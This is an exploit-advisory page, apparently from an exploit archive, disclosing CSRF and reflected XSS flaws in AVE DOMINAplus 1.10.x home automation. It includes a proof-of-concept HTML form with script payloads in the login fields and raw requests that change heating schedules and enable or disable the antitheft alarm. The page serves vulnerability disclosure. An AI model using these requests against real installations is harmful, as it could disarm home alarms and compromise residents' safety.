Exploits / Vulnerability Discovered : 2019-12-30 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Ave dominaplus 1.10.x crosssite request forgery (enable/disable alarm) is for educational purposes only and if it is used you will do on your own risk!
Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.
Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The
application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to several GET/POST parameters is not
properly sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context
of an affected site.
Reflected XSS in User and Password POST parameters in login.php:
--
<html>
<body>
<form action="http://192.168.1.10/login.php" method="POST">
<input type="hidden" name="cmd" value="doLogin" />
<input type="hidden" name="User" value=""><marquee>SLIDERS</marquee>" />
<input type="hidden" name="Password" value=""><script>confirm(251)</script>" />
<input type="hidden" name="btnLogin" value="Login" />
<input type="submit" value="Send" />
</form>
</body>
</html>
Example CSRF schedule temperature for day, afternoon, night: 19.0, 18.0, 15.0
--
GET /bridge.php?command=STC¶meter=25,1,1&dati=190,180,150,1454025386,85,-1433059328, HTTP/1.1
Example CSRF enable/disable alarm:
--
GET /antitheft.php?command=Attiva&codice=32&rnd=0.8815229032260505 HTTP/1.1